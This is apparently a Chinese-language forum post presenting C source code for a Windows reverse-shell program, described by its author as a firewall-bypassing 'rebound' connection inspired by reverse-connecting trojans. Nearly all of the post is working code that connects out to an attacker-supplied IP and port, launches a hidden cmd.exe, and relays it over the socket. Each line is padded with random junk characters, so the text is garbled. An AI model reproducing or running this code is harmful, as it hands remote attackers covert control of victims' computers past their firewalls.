这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )wwQv2E
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/* ============================== Q9
*N/2+
Rebound port in Windows NT -O=a"G=
By wind,2006/7 (iZE}qf7g
===============================*/ X@ Gm:6
#include I=3e@aTZ,
#include uY;2tZldf=
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#pragma comment(lib,"wsock32.lib") jW-j+WGSM
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void OutputShell(); $&|*v1rH
SOCKET sClient; {!C ';^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; boR&'yX
tT;=l[7%
void main(int argc,char **argv) p8q9:Tz
{ $N#f)8v
WSADATA stWsaData; ' 1aU0<
int nRet; fuxBoB
SOCKADDR_IN stSaiClient,stSaiServer; "A_WU|
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if(argc != 3) -\`n{$OR
{ 2S\~
printf("Useage:\n\rRebound DestIP DestPort\n"); 3 TN?yP)
return; > Rbgg1^]5
} *YFe
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5M{DJ/q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eiF!yk?2
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stSaiClient.sin_family = AF_INET; &!{wbm@
stSaiClient.sin_port = htons(0); Gd~Xvw,u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U$`)|/8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qK4E:dD
{ .wD>0Ig
printf("Bind Socket Failed!\n"); #(53YoV_8
return; "kKIVlC
} 6SMGXy*]^
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stSaiServer.sin_family = AF_INET; o4b!U %
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ogX'3L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4><b3r;T'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PomX@N}1
{ 6?0^U 9
printf("Connect Error!"); K'%,dn
return; rSD!u0c[
} %3i/PIN
OutputShell(); .6[xX?i^T
} =>hq0F4[;
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void OutputShell() j}chU'if
{ ^ZFbp@#U
char szBuff[1024]; ~4wbIE_rN
SECURITY_ATTRIBUTES stSecurityAttributes; PiZt?r?5w|
OSVERSIONINFO stOsversionInfo; hgE!)UE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1WPDMLuN
STARTUPINFO stStartupInfo; }`$:3mb&f
char *szShell; ?J+[|*'yK
PROCESS_INFORMATION stProcessInformation; '?5=j1
unsigned long lBytesRead; 0*%j6*XDq9
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5( lE$&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AjaG.fa]k
stSecurityAttributes.lpSecurityDescriptor = 0; aI|<t^X
stSecurityAttributes.bInheritHandle = TRUE; J!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +b]g;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6:B[8otQ
cW,wN~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *&B*/HAN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :x97^.eW~
stStartupInfo.wShowWindow = SW_HIDE; bG>pm|/
stStartupInfo.hStdInput = hReadPipe; .b vB8VOrW
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $6:j3ZTXrt
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GetVersionEx(&stOsversionInfo); )vsiX}3
K,' ]G&K
switch(stOsversionInfo.dwPlatformId) Zb7KHKO{
{ KMznl=LF
case 1: (@O F
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szShell = "command.com"; Y.@
vdW
break; l_u1 ~ K
default: |nXs'TO'O
szShell = "cmd.exe"; :gb7Py'C
break; -)
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} c\.4I4uy
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p[&'*"o!/
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send(sClient,szMsg,77,0); A7-QOqST(
while(1) IZ3w.:A
{ VbK| VON[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gOO\` #
if(lBytesRead) R3&W.?C
T
{ ~tDV{ml
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -sGfpLy<6
send(sClient,szBuff,lBytesRead,0); I2%{6g@
} bWwc2##7jo
else F)lDK.
{ V?HC\F-
lBytesRead=recv(sClient,szBuff,1024,0); \x)T_]Gcm
if(lBytesRead<=0) break; z)q9O_g9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w^NE`4 -
} &iL"=\#
} 3yDa5q{
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return; RMmDcvM"k
}